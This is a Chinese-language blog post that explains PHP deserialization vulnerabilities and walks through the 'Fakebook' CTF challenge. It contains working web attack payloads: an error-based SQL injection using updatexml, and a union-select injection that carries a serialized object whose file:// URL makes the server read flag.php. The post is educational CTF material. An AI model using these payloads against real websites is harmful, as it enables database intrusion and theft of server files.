聊一聊PHP反序列化漏洞


这个漏洞之前也看过,做过一定的研究,这一次在网(PWN)鼎杯上也遇到了一题,只是题目出的有点晚,导致有思路但是没来及做完,这一次,就接着别人的WP,来聊一聊PHP的反序列化漏洞

前言

这个漏洞之前也看过,做过一定的研究,这一次在网(PWN)鼎杯上也遇到了一题,只是题目出的有点晚,导致有思路但是没来及做完,这一次,就接着别人的WP,来聊一聊PHP的反序列化漏洞

介绍PHP的序列化与反序列化

一个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class test{
public $age = 0;
public $usename='';

public function PrintData(){
echo $this->usename . ' is ' . $this->age . ' years old';
}
}


$my_test = new test();

$my_test->age = 20;
$my_test->usename = 'PassingFoam';

$my_test->PrintData();

echo '<br />'. serialize($my_test);

code1

我们从图片中就可以理解到serialize()函数的工作原理

  1. 首先的表明对象的类型,这里的O代表的就是Object,如果是一个数组就是A
  2. : 后面跟的就是这个对象名字的长度,这里是test所以就是4
  3. 再后面跟着的是这个对象中的元素数量,我们这里有一个age和一个username,所以是2
  4. {}大括号中就是这个的详解,i代表int,s代表string,元素之间用 ; 来隔离

unserialize()函数就是serialize函数的逆运算这里就不多做解释了

php中的magic函数

magic函数中有很多的方法

  1. _construct 在对象创建的时候自动调用
  2. _destruct 在对象销毁的时候自动调用
  3. _sleep 在对象被序列化时自动调用
  4. _wakeup 在对象被反序列化时自动调用
    。。。。。。。还有很多

PHP反序列化漏洞

详细看完magic函数后,可能有已经有所察觉:在用户unserialize()内输入完全可控的情况下,进行程序逻辑的操作,怎么骚就看自己发挥了

漏洞的前提:

  1. unserialize函数的变量可控
  2. php文件中存在可利用的类,类中有魔术方法

一个例子(源于HITCON 2016 babytrick):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#关键代码
if(isset($_GET["data"])) {

@unserialize($_GET["data"]);

} else {

new HITCON("source", array());

}


function __wakeup() {

foreach($this->args as $k => $v) {

$this->args[$k] = strtolower(trim(mysql_escape_string($v)));

}

}

}

从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。

但是在_wakeup中进行了过滤操作

绕过_wakeup的方法

  1. 成员属性的数目大于实际数目

  2. 利用sql注入中的/**/

……
余下的可以在这里查看

Fakebook wp

信息收集

目录扫描

2.png

将备份文件下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

  1. 在简单的fuzz后发现在username和password中估计都不存在sqli注入漏洞
  2. 但是在用户信息的显示界面中no参数存在报错注入可以进行利用
1
2
#payload如下,他还是进行了简单的过滤处理,会报错nohack!
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

但是经常一波的数据库操作,发现里面确实只有我们所加入的用户数据

另寻思路

观察我们注册好的信息页面,以及对源码的解读
3.png

确实去访问了那个页面,以及其中的__construct()方法特别的显眼,把我们引入反序列化漏洞的路上

1
2
3
进行payload构造:
/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php
(扫描出存在flag.php)

4.png
最后进行base64解码得到flag

总结

  1. 在ctf比赛中对看到的魔术方法要达到敏感
  2. 增加对源码的解读能力
  3. 先进行正常输入收集信息
  4. 在寻找到一个思路时多想方法去实践,不要随便两下就放弃

参考:
https://xz.aliyun.com/t/2607
https://blog.csdn.net/qq_32400847/article/details/53873275
https://blog.csdn.net/qq_27446553/article/details/53378847